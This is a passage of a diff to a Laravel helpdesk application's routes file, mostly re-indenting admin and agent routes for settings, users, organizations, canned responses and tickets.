$breadcrumbs->push(Lang::get('lang.admin_panel'), route('setting')); + }); + + Route::get('plugins', ['as' => 'plugins', 'uses' => 'Common\SettingsController@Plugins']); + Breadcrumbs::register('plugins', function ($breadcrumbs) { + $breadcrumbs->parent('setting'); + $breadcrumbs->push(Lang::get('lang.plugins'), route('plugins')); + }); + + Route::get('getplugin', ['as' => 'get.plugin', 'uses' => 'Common\SettingsController@GetPlugin']); + + Route::post('post-plugin', ['as' => 'post.plugin', 'uses' => 'Common\SettingsController@PostPlugins']); + + Route::get('getconfig', ['as' => 'get.config', 'uses' => 'Common\SettingsController@fetchConfig']); + + Route::get('plugin/delete/{slug}', ['as' => 'delete.plugin', 'uses' => 'Common\SettingsController@DeletePlugin']); + + Route::get('plugin/status/{slug}', ['as' => 'status.plugin', 'uses' => 'Common\SettingsController@StatusPlugin']); + + //Routes for showing language table and switching language + Route::get('languages', ['as' => 'LanguageController', 'uses' => 'Admin\helpdesk\LanguageController@index']); + Breadcrumbs::register('LanguageController', function ($breadcrumbs) { + $breadcrumbs->parent('setting'); + $breadcrumbs->push(Lang::get('lang.language-settings'), route('LanguageController')); + }); + + Route::get('get-languages', ['as' => 'getAllLanguages', 'uses' => 'Admin\helpdesk\LanguageController@getLanguages']); + + Route::get('change-language/{lang}', ['as' => 'lang.switch', 'uses' => 'Admin\helpdesk\LanguageController@switchLanguage']); + + //Route for download language template package + Route::get('/download-template', ['as' => 'download', 'uses' => 'Admin\helpdesk\LanguageController@download']); + + //Routes for language file upload form-----------You may want to use csrf protection for these route-------------- + Route::post('language/add', 'Admin\helpdesk\LanguageController@postForm'); + + Route::get('language/add', ['as' => 'add-language', 'uses' => 'Admin\helpdesk\LanguageController@getForm']); + Breadcrumbs::register('add-language', function ($breadcrumbs) { + $breadcrumbs->parent('LanguageController'); + $breadcrumbs->push(Lang::get('lang.add'), route('add-language')); + }); + + //Routes for delete language package + Route::get('delete-language/{lang}', ['as' => 'lang.delete', 'uses' => 'Admin\helpdesk\LanguageController@deleteLanguage']); + + Route::get('generate-api-key', 'Admin\helpdesk\SettingsController@GenerateApiKey'); // route to generate api key + + Route::post('validating-email-settings', ['as' => 'validating.email.settings', 'uses' => 'Admin\helpdesk\EmailsController@validatingEmailSettings']); // route to check email input validation + Route::post('validating-email-settings-on-update/{id}', ['as' => 'validating.email.settings.update', 'uses' => 'Admin\helpdesk\EmailsController@validatingEmailSettingsUpdate']); // route to check email input validation + + + Route::get('workflow', ['as' => 'workflow', 'uses' => 'Admin\helpdesk\WorkflowController@index']); + Breadcrumbs::register('workflow', function ($breadcrumbs) { + $breadcrumbs->parent('setting'); + $breadcrumbs->push(Lang::get('lang.ticket_workflow'), route('workflow')); + }); + + Route::get('workflow-list', ['as' => 'workflow.list', 'uses' => 'Admin\helpdesk\WorkflowController@workFlowList']); + + Route::get('workflow/create', ['as' => 'workflow.create', 'uses' => 'Admin\helpdesk\WorkflowController@create']); + Breadcrumbs::register('workflow.create', function ($breadcrumbs) { + $breadcrumbs->parent('workflow'); + $breadcrumbs->push(Lang::get('lang.create'), route('workflow.create')); + }); + Route::post('workflow/store', ['as' => 'workflow.store', 'uses' => 'Admin\helpdesk\WorkflowController@store']); + + Route::get('workflow/edit/{id}', ['as' => 'workflow.edit', 'uses' => 'Admin\helpdesk\WorkflowController@edit']); + Breadcrumbs::register('workflow.edit', function ($breadcrumbs) { + $breadcrumbs->parent('workflow'); + $breadcrumbs->push(Lang::get('lang.edit'), url('workflow/edit/{id}')); + }); + Route::post('workflow/update/{id}', ['as' => 'workflow.update', 'uses' => 'Admin\helpdesk\WorkflowController@update']); + + Route::get('workflow/action-rule/{id}', ['as' => 'workflow.dept', 'uses' => 'Admin\helpdesk\WorkflowController@selectAction']); + Route::get('workflow/delete/{id}', ['as' => 'workflow.delete', 'uses' => 'Admin\helpdesk\WorkflowController@destroy']); + + /* + * Api Settings + */ + Route::get('api', ['as' => 'api.settings.get', 'uses' => 'Common\ApiSettings@show']); + Breadcrumbs::register('api.settings.get', function ($breadcrumbs) { + $breadcrumbs->parent('setting'); + $breadcrumbs->push(Lang::get('lang.api_settings'), route('api.settings.get')); + }); + Route::post('api', ['as' => 'api.settings.post', 'uses' => 'Common\ApiSettings@postSettings']); + + /* + * Error and debugging + */ + //route for showing error and debugging setting form page + Route::get('error-and-debugging-options', ['as' => 'err.debug.settings', 'uses' => 'Admin\helpdesk\ErrorAndDebuggingController@showSettings']); + Breadcrumbs::register('err.debug.settings', function ($breadcrumbs) { + $breadcrumbs->parent('setting'); + $breadcrumbs->push(Lang::get('lang.error-debug-settings'), route('err.debug.settings')); + }); + //route for submit error and debugging setting form page + Route::post('post-settings', ['as' => 'post.error.debug.settings', + 'uses' => 'Admin\helpdesk\ErrorAndDebuggingController@postSettings',]); + + //route to error logs table page + Route::get('show-error-logs', [ + 'as' => 'error.logs', + 'uses' => 'Admin\helpdesk\ErrorAndDebuggingController@showErrorLogs', + ]); }); - - Route::resource('security', 'Admin\helpdesk\SecurityController'); // direct to security setting page - - - Route::resource('close-workflow', 'Admin\helpdesk\CloseWrokflowController'); // direct to security setting page - - - Breadcrumbs::register('close-workflow.index', function ($breadcrumbs) { - $breadcrumbs->parent('setting'); - $breadcrumbs->push(Lang::get('lang.close_ticket_workflow_settings'), route('close-workflow.index')); - }); - Route::resource('close-workflow', 'Admin\helpdesk\CloseWrokflowController'); // direct to security setting page - - - Route::patch('security/{id}', ['as' => 'securitys.update', 'uses' => 'Admin\helpdesk\SecurityController@update']); // direct to security setting page - - Route::get('setting-status', ['as' => 'statuss.index', 'uses' => 'Admin\helpdesk\SettingsController@getStatuses']); // direct to status setting page - Breadcrumbs::register('statuss.index', function ($breadcrumbs) { - $breadcrumbs->parent('setting'); - $breadcrumbs->push(Lang::get('lang.status_settings'), route('statuss.index')); - }); - - Route::patch('status-update/{id}', ['as' => 'statuss.update', 'uses' => 'Admin\helpdesk\SettingsController@editStatuses']); - Breadcrumbs::register('statuss.create', function ($breadcrumbs) { - $breadcrumbs->parent('setting'); - $breadcrumbs->push('Create Status', route('statuss.create')); - }); - - Route::get('status/edit/{id}', ['as' => 'status.edit', 'uses' => 'Admin\helpdesk\SettingsController@getEditStatuses']); - - Route::post('status-create', ['as' => 'statuss.create', 'uses' => 'Admin\helpdesk\SettingsController@createStatuses']); - - Route::get('status-delete/{id}', ['as' => 'statuss.delete', 'uses' => 'Admin\helpdesk\SettingsController@deleteStatuses']); - - Route::get('ticket/status/{id}/{state}', ['as' => 'statuss.state', 'uses' => 'Agent\helpdesk\TicketController@updateStatuses']); - - Route::get('getratings', ['as' => 'ratings.index', 'uses' => 'Admin\helpdesk\SettingsController@RatingSettings']); - Breadcrumbs::register('ratings.index', function ($breadcrumbs) { - $breadcrumbs->parent('setting'); - $breadcrumbs->push(Lang::get('lang.ratings_settings'), route('ratings.index')); - }); - - Route::get('deleter/{rating}', ['as' => 'ratings.delete', 'uses' => 'Admin\helpdesk\SettingsController@RatingDelete']); - - Breadcrumbs::register('rating.create', function ($breadcrumbs) { - $breadcrumbs->parent('ratings.index'); - $breadcrumbs->push('Create Ratings', route('rating.create')); - }); - - Route::get('create-ratings', ['as' => 'rating.create', 'uses' => 'Admin\helpdesk\SettingsController@createRating']); - - Route::post('store-ratings', ['as' => 'rating.store', 'uses' => 'Admin\helpdesk\SettingsController@storeRating']); - - Breadcrumbs::register('rating.edit', function ($breadcrumbs) { - $page = App\Model\helpdesk\Ratings\Rating::whereId(1)->first(); - $breadcrumbs->parent('ratings.index'); - $breadcrumbs->push('Edit Ratings'); - }); - - Route::get('editratings/{slug}', ['as' => 'rating.edit', 'uses' => 'Admin\helpdesk\SettingsController@editRatingSettings']); - - Route::patch('postratings/{slug}', ['as' => 'settings.rating', 'uses' => 'Admin\helpdesk\SettingsController@PostRatingSettings']); - - Route::get('remove-user-org/{id}', ['as' => 'removeuser.org', 'uses' => 'Agent\helpdesk\UserController@removeUserOrg']); - - Route::get('admin-profile', ['as' => 'admin-profile', 'uses' => 'Admin\helpdesk\ProfileController@getProfile']); /* User profile edit get */ - Breadcrumbs::register('admin-profile', function ($breadcrumbs) { - $breadcrumbs->parent('dashboard'); - $breadcrumbs->push(Lang::get('lang.profile'), route('admin-profile')); - }); - - Route::get('admin-profile-edit', 'Admin\helpdesk\ProfileController@getProfileedit'); /* Admin profile get */ - - Route::patch('admin-profile', 'Admin\helpdesk\ProfileController@postProfileedit'); /* Admin Profile Post */ - - Route::patch('admin-profile-password', 'Admin\helpdesk\ProfileController@postProfilePassword'); /* Admin Profile Password Post */ - - Route::get('widgets', ['as' => 'widgets', 'uses' => 'Common\SettingsController@widgets']); /* get the create footer page for admin */ - Breadcrumbs::register('widgets', function ($breadcrumbs) { - $breadcrumbs->parent('setting'); - $breadcrumbs->push(Lang::get('lang.widget-settings'), route('widgets')); - }); - - Route::get('list-widget', 'Common\SettingsController@list_widget'); /* get the list widget page for admin */ - - Route::post('edit-widget/{id}', 'Common\SettingsController@edit_widget'); /* get the create footer page for admin */ - - Route::get('social-buttons', ['as' => 'social.buttons', 'uses' => 'Common\SettingsController@social_buttons']); /* get the create footer page for admin */ - Breadcrumbs::register('social.buttons', function ($breadcrumbs) { - $breadcrumbs->parent('setting'); - $breadcrumbs->push(Lang::get('lang.social-widget-settings'), route('social.buttons')); - }); - - Route::get('list-social-buttons', ['as' => 'list.social.buttons', 'uses' => 'Common\SettingsController@list_social_buttons']); /* get the list widget page for admin */ - - Route::post('edit-widget/{id}', 'Common\SettingsController@edit_social_buttons'); /* get the create footer page for admin */ - - - Route::get('version-check', ['as' => 'version-check', 'uses' => 'Common\SettingsController@version_check']); /* Check version */ - - Route::post('post-version-check', ['as' => 'post-version-check', 'uses' => 'Common\SettingsController@post_version_check']); /* post Check version */ - - Route::get('checkUpdate', ['as' => 'checkupdate', 'uses' => 'Common\SettingsController@getupdate']); /* get Check update */ - Breadcrumbs::register('checkupdate', function ($breadcrumbs) { - $breadcrumbs->parent('setting'); - $breadcrumbs->push(Lang::get('lang.update-version'), route('checkupdate')); - }); - - - Route::get('admin', ['as' => 'setting', 'uses' => 'Admin\helpdesk\SettingsController@settings']); - Breadcrumbs::register('setting', function ($breadcrumbs) { - $breadcrumbs->push(Lang::get('lang.admin_panel'), route('setting')); - }); - - Route::get('plugins', ['as' => 'plugins', 'uses' => 'Common\SettingsController@Plugins']); - Breadcrumbs::register('plugins', function ($breadcrumbs) { - $breadcrumbs->parent('setting'); - $breadcrumbs->push(Lang::get('lang.plugins'), route('plugins')); - }); - - Route::get('getplugin', ['as' => 'get.plugin', 'uses' => 'Common\SettingsController@GetPlugin']); - - Route::post('post-plugin', ['as' => 'post.plugin', 'uses' => 'Common\SettingsController@PostPlugins']); - - Route::get('getconfig', ['as' => 'get.config', 'uses' => 'Common\SettingsController@fetchConfig']); - - Route::get('plugin/delete/{slug}', ['as' => 'delete.plugin', 'uses' => 'Common\SettingsController@DeletePlugin']); - - Route::get('plugin/status/{slug}', ['as' => 'status.plugin', 'uses' => 'Common\SettingsController@StatusPlugin']); - - //Routes for showing language table and switching language - Route::get('languages', ['as' => 'LanguageController', 'uses' => 'Admin\helpdesk\LanguageController@index']); - Breadcrumbs::register('LanguageController', function ($breadcrumbs) { - $breadcrumbs->parent('setting'); - $breadcrumbs->push(Lang::get('lang.language-settings'), route('LanguageController')); - }); - - Route::get('get-languages', ['as' => 'getAllLanguages', 'uses' => 'Admin\helpdesk\LanguageController@getLanguages']); - - Route::get('change-language/{lang}', ['as' => 'lang.switch', 'uses' => 'Admin\helpdesk\LanguageController@switchLanguage']); - - //Route for download language template package - Route::get('/download-template', ['as' => 'download', 'uses' => 'Admin\helpdesk\LanguageController@download']); - - //Routes for language file upload form-----------You may want to use csrf protection for these route-------------- - Route::post('language/add', 'Admin\helpdesk\LanguageController@postForm'); - - Route::get('language/add', ['as' => 'add-language', 'uses' => 'Admin\helpdesk\LanguageController@getForm']); - Breadcrumbs::register('add-language', function ($breadcrumbs) { - $breadcrumbs->parent('LanguageController'); - $breadcrumbs->push(Lang::get('lang.add'), route('add-language')); - }); - - //Routes for delete language package - Route::get('delete-language/{lang}', ['as' => 'lang.delete', 'uses' => 'Admin\helpdesk\LanguageController@deleteLanguage']); - - Route::get('generate-api-key', 'Admin\helpdesk\SettingsController@GenerateApiKey'); // route to generate api key - - Route::post('validating-email-settings', ['as' => 'validating.email.settings', 'uses' => 'Admin\helpdesk\EmailsController@validatingEmailSettings']); // route to check email input validation - Route::post('validating-email-settings-on-update/{id}', ['as' => 'validating.email.settings.update', 'uses' => 'Admin\helpdesk\EmailsController@validatingEmailSettingsUpdate']); // route to check email input validation - - - Route::get('workflow', ['as' => 'workflow', 'uses' => 'Admin\helpdesk\WorkflowController@index']); - Breadcrumbs::register('workflow', function ($breadcrumbs) { - $breadcrumbs->parent('setting'); - $breadcrumbs->push(Lang::get('lang.ticket_workflow'), route('workflow')); - }); - - Route::get('workflow-list', ['as' => 'workflow.list', 'uses' => 'Admin\helpdesk\WorkflowController@workFlowList']); - - Route::get('workflow/create', ['as' => 'workflow.create', 'uses' => 'Admin\helpdesk\WorkflowController@create']); - Breadcrumbs::register('workflow.create', function ($breadcrumbs) { - $breadcrumbs->parent('workflow'); - $breadcrumbs->push(Lang::get('lang.create'), route('workflow.create')); - }); - Route::post('workflow/store', ['as' => 'workflow.store', 'uses' => 'Admin\helpdesk\WorkflowController@store']); - - Route::get('workflow/edit/{id}', ['as' => 'workflow.edit', 'uses' => 'Admin\helpdesk\WorkflowController@edit']); - Breadcrumbs::register('workflow.edit', function ($breadcrumbs) { - $breadcrumbs->parent('workflow'); - $breadcrumbs->push(Lang::get('lang.edit'), url('workflow/edit/{id}')); - }); - Route::post('workflow/update/{id}', ['as' => 'workflow.update', 'uses' => 'Admin\helpdesk\WorkflowController@update']); - - Route::get('workflow/action-rule/{id}', ['as' => 'workflow.dept', 'uses' => 'Admin\helpdesk\WorkflowController@selectAction']); - Route::get('workflow/delete/{id}', ['as' => 'workflow.delete', 'uses' => 'Admin\helpdesk\WorkflowController@destroy']); - /* - * Api Settings + |------------------------------------------------------------------ + |Agent Routes + |-------------------------------------------------------------------- + | Here defining entire Agent Panel routers + | + | */ - Route::get('api', ['as' => 'api.settings.get', 'uses' => 'Common\ApiSettings@show']); - Breadcrumbs::register('api.settings.get', function ($breadcrumbs) { - $breadcrumbs->parent('setting'); - $breadcrumbs->push(Lang::get('lang.api_settings'), route('api.settings.get')); - }); - Route::post('api', ['as' => 'api.settings.post', 'uses' => 'Common\ApiSettings@postSettings']); + Route::group(['middleware' => 'role.agent', 'middleware' => 'auth', 'middleware' => 'update'], function () { + Route::post('chart-range/{date1}/{date2}', ['as' => 'post.chart', 'uses' => 'Agent\helpdesk\DashboardController@ChartData']); - /* - * Error and debugging - */ - //route for showing error and debugging setting form page - Route::get('error-and-debugging-options', ['as' => 'err.debug.settings', 'uses' => 'Admin\helpdesk\ErrorAndDebuggingController@showSettings']); - Breadcrumbs::register('err.debug.settings', function ($breadcrumbs) { - $breadcrumbs->parent('setting'); - $breadcrumbs->push(Lang::get('lang.error-debug-settings'), route('err.debug.settings')); - }); - //route for submit error and debugging setting form page - Route::post('post-settings', ['as' => 'post.error.debug.settings', - 'uses' => 'Admin\helpdesk\ErrorAndDebuggingController@postSettings', ]); + Route::get('agen1', 'Agent\helpdesk\DashboardController@ChartData'); - //route to error logs table page - Route::get('show-error-logs', [ - 'as' => 'error.logs', - 'uses' => 'Admin\helpdesk\ErrorAndDebuggingController@showErrorLogs', - ]); -}); + Route::post('chart-range', ['as' => 'post.chart', 'uses' => 'Agent\helpdesk\DashboardController@ChartData']); -/* - |------------------------------------------------------------------ - |Agent Routes - |-------------------------------------------------------------------- - | Here defining entire Agent Panel routers - | - | - */ -Route::group(['middleware' => 'role.agent', 'middleware' => 'auth', 'middleware' => 'update'], function () { - Route::post('chart-range/{date1}/{date2}', ['as' => 'post.chart', 'uses' => 'Agent\helpdesk\DashboardController@ChartData']); + Route::post('user-chart-range/{id}/{date1}/{date2}', ['as' => 'post.user.chart', 'uses' => 'Agent\helpdesk\DashboardController@userChartData']); - Route::get('agen1', 'Agent\helpdesk\DashboardController@ChartData'); + Route::get('user-agen/{id}', 'Agent\helpdesk\DashboardController@userChartData'); - Route::post('chart-range', ['as' => 'post.chart', 'uses' => 'Agent\helpdesk\DashboardController@ChartData']); + Route::get('user-agen1', 'Agent\helpdesk\DashboardController@userChartData'); - Route::post('user-chart-range/{id}/{date1}/{date2}', ['as' => 'post.user.chart', 'uses' => 'Agent\helpdesk\DashboardController@userChartData']); - - Route::get('user-agen/{id}', 'Agent\helpdesk\DashboardController@userChartData'); - - Route::get('user-agen1', 'Agent\helpdesk\DashboardController@userChartData'); - - Route::post('user-chart-range', ['as' => 'post.user.chart', 'uses' => 'Agent\helpdesk\DashboardController@userChartData']); + Route::post('user-chart-range', ['as' => 'post.user.chart', 'uses' => 'Agent\helpdesk\DashboardController@userChartData']); - Route::resource('user', 'Agent\helpdesk\UserController'); /* User router is used to control the CRUD of user */ - Breadcrumbs::register('user.index', function ($breadcrumbs) { - $breadcrumbs->parent('dashboard'); - $breadcrumbs->push(Lang::get('lang.user_directory'), route('user.index')); - }); - Breadcrumbs::register('user.create', function ($breadcrumbs) { - $breadcrumbs->parent('user.index'); - $breadcrumbs->push(Lang::get('lang.create'), route('user.create')); - }); - Breadcrumbs::register('user.edit', function ($breadcrumbs) { - $breadcrumbs->parent('user.index'); - $breadcrumbs->push(Lang::get('lang.edit'), url('user/{user}/edit')); - }); - Breadcrumbs::register('user.show', function ($breadcrumbs) { - $breadcrumbs->parent('user.index'); - $breadcrumbs->push(Lang::get('lang.view-profile'), url('user/{user}')); - }); + Route::resource('user', 'Agent\helpdesk\UserController'); /* User router is used to control the CRUD of user */ + Breadcrumbs::register('user.index', function ($breadcrumbs) { + $breadcrumbs->parent('dashboard'); + $breadcrumbs->push(Lang::get('lang.user_directory'), route('user.index')); + }); + Breadcrumbs::register('user.create', function ($breadcrumbs) { + $breadcrumbs->parent('user.index'); + $breadcrumbs->push(Lang::get('lang.create'), route('user.create')); + }); + Breadcrumbs::register('user.edit', function ($breadcrumbs) { + $breadcrumbs->parent('user.index'); + $breadcrumbs->push(Lang::get('lang.edit'), url('user/{user}/edit')); + }); + Breadcrumbs::register('user.show', function ($breadcrumbs) { + $breadcrumbs->parent('user.index'); + $breadcrumbs->push(Lang::get('lang.view-profile'), url('user/{user}')); + }); - Route::get('user-list', ['as' => 'user.list', 'uses' => 'Agent\helpdesk\UserController@user_list']); + Route::get('user-list', ['as' => 'user.list', 'uses' => 'Agent\helpdesk\UserController@user_list']); - // Route::get('user/delete/{id}', ['as' => 'user.delete' , 'uses' => 'Agent\helpdesk\UserController@destroy']); + // Route::get('user/delete/{id}', ['as' => 'user.delete' , 'uses' => 'Agent\helpdesk\UserController@destroy']); - Route::resource('organizations', 'Agent\helpdesk\OrganizationController'); /* organization router used to deal CRUD function of organization */ - Breadcrumbs::register('organizations.index', function ($breadcrumbs) { - $breadcrumbs->parent('dashboard'); - $breadcrumbs->push(Lang::get('lang.organizations'), route('organizations.index')); - }); - Breadcrumbs::register('organizations.create', function ($breadcrumbs) { - $breadcrumbs->parent('organizations.index'); - $breadcrumbs->push(Lang::get('lang.create'), route('organizations.create')); - }); - Breadcrumbs::register('organizations.edit', function ($breadcrumbs) { - $breadcrumbs->parent('organizations.index'); - $breadcrumbs->push(Lang::get('lang.edit'), url('organizations/{organizations}/edit')); - }); - Breadcrumbs::register('organizations.show', function ($breadcrumbs) { - $breadcrumbs->parent('organizations.index'); - $breadcrumbs->push(Lang::get('lang.view_organization_profile'), url('organizations/{organizations}')); - }); + Route::resource('organizations', 'Agent\helpdesk\OrganizationController'); /* organization router used to deal CRUD function of organization */ + Breadcrumbs::register('organizations.index', function ($breadcrumbs) { + $breadcrumbs->parent('dashboard'); + $breadcrumbs->push(Lang::get('lang.organizations'), route('organizations.index')); + }); + Breadcrumbs::register('organizations.create', function ($breadcrumbs) { + $breadcrumbs->parent('organizations.index'); + $breadcrumbs->push(Lang::get('lang.create'), route('organizations.create')); + }); + Breadcrumbs::register('organizations.edit', function ($breadcrumbs) { + $breadcrumbs->parent('organizations.index'); + $breadcrumbs->push(Lang::get('lang.edit'), url('organizations/{organizations}/edit')); + }); + Breadcrumbs::register('organizations.show', function ($breadcrumbs) { + $breadcrumbs->parent('organizations.index'); + $breadcrumbs->push(Lang::get('lang.view_organization_profile'), url('organizations/{organizations}')); + }); - Route::get('org-list', ['as' => 'org.list', 'uses' => 'Agent\helpdesk\OrganizationController@org_list']); + Route::get('org-list', ['as' => 'org.list', 'uses' => 'Agent\helpdesk\OrganizationController@org_list']); - Route::get('org/delete/{id}', ['as' => 'org.delete', 'uses' => 'Agent\helpdesk\OrganizationController@destroy']); + Route::get('org/delete/{id}', ['as' => 'org.delete', 'uses' => 'Agent\helpdesk\OrganizationController@destroy']); - Route::get('org-chart/{id}', 'Agent\helpdesk\OrganizationController@orgChartData'); + Route::get('org-chart/{id}', 'Agent\helpdesk\OrganizationController@orgChartData'); // Route::post('org-chart-range', ['as' => 'post.org.chart', 'uses' => 'Agent\helpdesk\OrganizationController@orgChartData']); - Route::post('org-chart-range/{id}/{date1}/{date2}', ['as' => 'post.org.chart', 'uses' => 'Agent\helpdesk\OrganizationController@orgChartData']); + Route::post('org-chart-range/{id}/{date1}/{date2}', ['as' => 'post.org.chart', 'uses' => 'Agent\helpdesk\OrganizationController@orgChartData']); - Route::get('profile', ['as' => 'profile', 'uses' => 'Agent\helpdesk\UserController@getProfile']); /* User profile get */ - Breadcrumbs::register('profile', function ($breadcrumbs) { - $breadcrumbs->parent('dashboard'); - $breadcrumbs->push(Lang::get('lang.my_profile'), route('profile')); + Route::get('profile', ['as' => 'profile', 'uses' => 'Agent\helpdesk\UserController@getProfile']); /* User profile get */ + Breadcrumbs::register('profile', function ($breadcrumbs) { + $breadcrumbs->parent('dashboard'); + $breadcrumbs->push(Lang::get('lang.my_profile'), route('profile')); + }); + + Route::get('profile-edit', ['as' => 'agent-profile-edit', 'uses' => 'Agent\helpdesk\UserController@getProfileedit']); /* User profile edit get */ + Breadcrumbs::register('agent-profile-edit', function ($breadcrumbs) { + $breadcrumbs->parent('profile'); + $breadcrumbs->push(Lang::get('lang.edit'), url('profile-edit')); + }); + + Route::patch('agent-profile', ['as' => 'agent-profile', 'uses' => 'Agent\helpdesk\UserController@postProfileedit']); /* User Profile Post */ + + Route::patch('agent-profile-password/{id}', 'Agent\helpdesk\UserController@postProfilePassword'); /* Profile Password Post */ + + Route::get('canned/list', ['as' => 'canned.list', 'uses' => 'Agent\helpdesk\CannedController@index']); /* Canned list */ + Breadcrumbs::register('canned.list', function ($breadcrumbs) { + $breadcrumbs->parent('dashboard'); + $breadcrumbs->push(Lang::get('lang.canned_response'), route('canned.list')); + }); + + Route::get('canned/create', ['as' => 'canned.create', 'uses' => 'Agent\helpdesk\CannedController@create']); /* Canned create */ + Breadcrumbs::register('canned.create', function ($breadcrumbs) { + $breadcrumbs->parent('canned.list'); + $breadcrumbs->push(Lang::get('lang.create'), route('canned.create')); + }); + + Route::patch('canned/store', ['as' => 'canned.store', 'uses' => 'Agent\helpdesk\CannedController@store']); /* Canned store */ + + Route::get('canned/edit/{id}', ['as' => 'canned.edit', 'uses' => 'Agent\helpdesk\CannedController@edit']); /* Canned edit */ + Breadcrumbs::register('canned.edit', function ($breadcrumbs) { + $breadcrumbs->parent('canned.list'); + $breadcrumbs->push(Lang::get('lang.edit'), url('canned/edit/{id}')); + }); + + Route::patch('canned/update/{id}', ['as' => 'canned.update', 'uses' => 'Agent\helpdesk\CannedController@update']); /* Canned update */ + + Route::get('canned/show/{id}', ['as' => 'canned.show', 'uses' => 'Agent\helpdesk\CannedController@show']); /* Canned show */ + + Route::delete('canned/destroy/{id}', ['as' => 'canned.destroy', 'uses' => 'Agent\helpdesk\CannedController@destroy']); /* Canned delete */ + + Route::get('/test', ['as' => 'thr', 'uses' => 'Agent\helpdesk\MailController@fetchdata']); /* Fetch Emails */ + + Route::get('/ticket', ['as' => 'ticket', 'uses' => 'Agent\helpdesk\TicketController@ticket_list']); /* Get Ticket */ + + Route::get('/ticket/inbox', ['as' => 'inbox.ticket', 'uses' => 'Agent\helpdesk\TicketController@inbox_ticket_list']); /* Get Inbox Ticket */ + Breadcrumbs::register('inbox.ticket', function ($breadcrumbs) { + $breadcrumbs->parent('dashboard'); + $breadcrumbs->push(Lang::get('lang.inbox'), route('inbox.ticket')); + }); + + Route::get('/ticket/get-inbox', ['as' => 'get.inbox.ticket', 'uses' => 'Agent\helpdesk\TicketController@get_inbox']); /* Get tickets in datatable */ + + Route::get('/ticket/open', ['as' => 'open.ticket', 'uses' => 'Agent\helpdesk\TicketController@open_ticket_list']); /* Get Open Ticket */ + Breadcrumbs::register('open.ticket', function ($breadcrumbs) { + $breadcrumbs->parent('dashboard'); + $breadcrumbs->push(Lang::get('lang.open-tickets'), route('open.ticket')); + }); + + + Route::get('/ticket/get-open', ['as' => 'get.open.ticket', 'uses' => 'Agent\helpdesk\TicketController@get_open']); /* Get tickets in datatable */ + + + Route::get('/ticket/answered', ['as' => 'answered.ticket', 'uses' => 'Agent\helpdesk\TicketController@answered_ticket_list']); /* Get Answered Ticket */ + Breadcrumbs::register('answered.ticket', function ($breadcrumbs) { + $breadcrumbs->parent('dashboard'); + $breadcrumbs->push(Lang::get('lang.answered_tickets'), route('answered.ticket')); + }); + + Route::get('/ticket/get-answered', ['as' => 'get.answered.ticket', 'uses' => 'Agent\helpdesk\TicketController@get_answered']); /* Get tickets in datatable */ + + Route::get('/ticket/myticket', ['as' => 'myticket.ticket', 'uses' => 'Agent\helpdesk\TicketController@myticket_ticket_list']); /* Get Tickets Assigned to logged user */ + Breadcrumbs::register('myticket.ticket', function ($breadcrumbs) { + $breadcrumbs->parent('dashboard'); + $breadcrumbs->push(Lang::get('lang.my_tickets'), route('myticket.ticket')); + }); + + Route::get('/ticket/get-myticket', ['as' => 'get.myticket.ticket', 'uses' => 'Agent\helpdesk\TicketController@get_myticket']); /* Get tickets in datatable */ + + Route::get('/ticket/overdue', ['as' => 'overdue.ticket', 'uses' => 'Agent\helpdesk\TicketController@overdue_ticket_list']); /* Get Overdue Ticket */ + Breadcrumbs::register('overdue.ticket', function ($breadcrumbs) { + $breadcrumbs->parent('dashboard'); + $breadcrumbs->push(Lang::get('lang.overdue-tickets'), route('overdue.ticket')); + }); + + Route::get('/ticket/get-overdue', ['as' => 'get.overdue.ticket', 'uses' => 'Agent\helpdesk\TicketController@getOverdueTickets']); /* Get Overdue Ticket */ + + Route::get('/ticket/closed', ['as' => 'closed.ticket', 'uses' => 'Agent\helpdesk\TicketController@closed_ticket_list']); /* Get Closed Ticket */ + Breadcrumbs::register('closed.ticket', function ($breadcrumbs) { + $breadcrumbs->parent('dashboard'); + $breadcrumbs->push(Lang::get('lang.closed_tickets'), route('closed.ticket')); + }); + + Route::get('/ticket/get-closed', ['as' => 'get.closed.ticket', 'uses' => 'Agent\helpdesk\TicketController@get_closed']); /* Get tickets in datatable */ + + Route::get('/ticket/assigned', ['as' => 'assigned.ticket', 'uses' => 'Agent\helpdesk\TicketController@assigned_ticket_list']); /* Get Assigned Ticket */ + Breadcrumbs::register('assigned.ticket', function ($breadcrumbs) { + $breadcrumbs->parent('dashboard'); + $breadcrumbs->push(Lang::get('lang.assigned_tickets'), route('assigned.ticket')); + }); + + Route::get('/ticket/get-assigned', ['as' => 'get.assigned.ticket', 'uses' => 'Agent\helpdesk\TicketController@get_assigned']); /* Get tickets in datatable */ + + Route::get('/newticket', ['as' => 'newticket', 'uses' => 'Agent\helpdesk\TicketController@newticket']); /* Get Create New Ticket */ + Breadcrumbs::register('newticket', function ($breadcrumbs) { + $breadcrumbs->parent('dashboard'); + $breadcrumbs->push(Lang::get('lang.create_ticket'), route('newticket')); + }); + + Route::post('/newticket/post', ['as' => 'post.newticket', 'uses' => 'Agent\helpdesk\TicketController@post_newticket']); /* Post Create New Ticket */ + + Route::get('/thread/{id}', ['as' => 'ticket.thread', 'uses' => 'Agent\helpdesk\TicketController@thread']); /* Get Thread by ID */ + Breadcrumbs::register('ticket.thread', function ($breadcrumbs, $id) { + $breadcrumbs->parent('dashboard'); + $ticket_number = App\Model\helpdesk\Ticket\Tickets::where('id', '=', $id)->first(); + $breadcrumbs->push($ticket_number->ticket_number, url('/thread/{id}')); + }); + + + Route::patch('/thread/reply/{id}', ['as' => 'ticket.reply', 'uses' => 'Agent\helpdesk\TicketController@reply']); /* Patch Thread Reply */ + + Route::patch('/internal/note/{id}', ['as' => 'Internal.note', 'uses' => 'Agent\helpdesk\TicketController@InternalNote']); /* Patch Internal Note */ + + Route::patch('/ticket/assign/{id}', ['as' => 'assign.ticket', 'uses' => 'Agent\helpdesk\TicketController@assign']); /* Patch Ticket assigned to whom */ + + Route::patch('/ticket/post/edit/{id}', ['as' => 'ticket.post.edit', 'uses' => 'Agent\helpdesk\TicketController@ticketEditPost']); /* Patchi Ticket Edit */ + + Route::get('/ticket/print/{id}', ['as' => 'ticket.print', 'uses' => 'Agent\helpdesk\TicketController@ticket_print']); /* Get Print Ticket */ + + Route::get('/ticket/close/{id}', ['as' => 'ticket.close', 'uses' => 'Agent\helpdesk\TicketController@close']); /* Get Ticket Close */ + + Route::get('/ticket/resolve/{id}', ['as' => 'ticket.resolve', 'uses' => 'Agent\helpdesk\TicketController@resolve']); /* Get ticket Resolve */ + + Route::get('/ticket/open/{id}', ['as' => 'ticket.open', 'uses' => 'Agent\helpdesk\TicketController@open']); /* Get Ticket Open */ + + 